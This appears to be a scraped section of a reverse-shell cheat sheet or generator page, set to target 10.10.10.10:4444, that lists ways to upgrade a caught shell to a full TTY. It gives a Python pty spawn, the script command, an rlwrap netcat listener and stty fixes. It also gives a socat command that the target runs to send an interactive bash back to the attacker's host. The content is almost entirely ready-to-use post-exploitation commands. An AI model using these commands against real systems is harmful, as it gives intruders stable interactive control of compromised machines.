Target: 10.10.10.10:4444
5 shells
TTY Upgrade
Python PTY Most common TTY upgrade method
LINUXOSX
python3 -c 'import pty;pty.spawn("/bin/bash")' # Then: Ctrl+Z stty raw -echo;fg export TERM=xterm stty rows 50 cols 200
Script script command TTY upgrade (no python needed)
LINUXOSX
script /dev/null -c bash
socat TTY upgrade Full PTY upgrade using socat on both ends
LINUXOSX
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444 # Target (from dumb shell): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444
rlwrap rlwrap adds readline support (arrows, history) to any nc listener
LINUXOSX
rlwrap nc -lvnp 4444
stty fix Fix terminal size after upgrade
LINUXOSX
# After getting interactive shell: stty -a # note rows/cols from your terminal stty rows 48 cols 195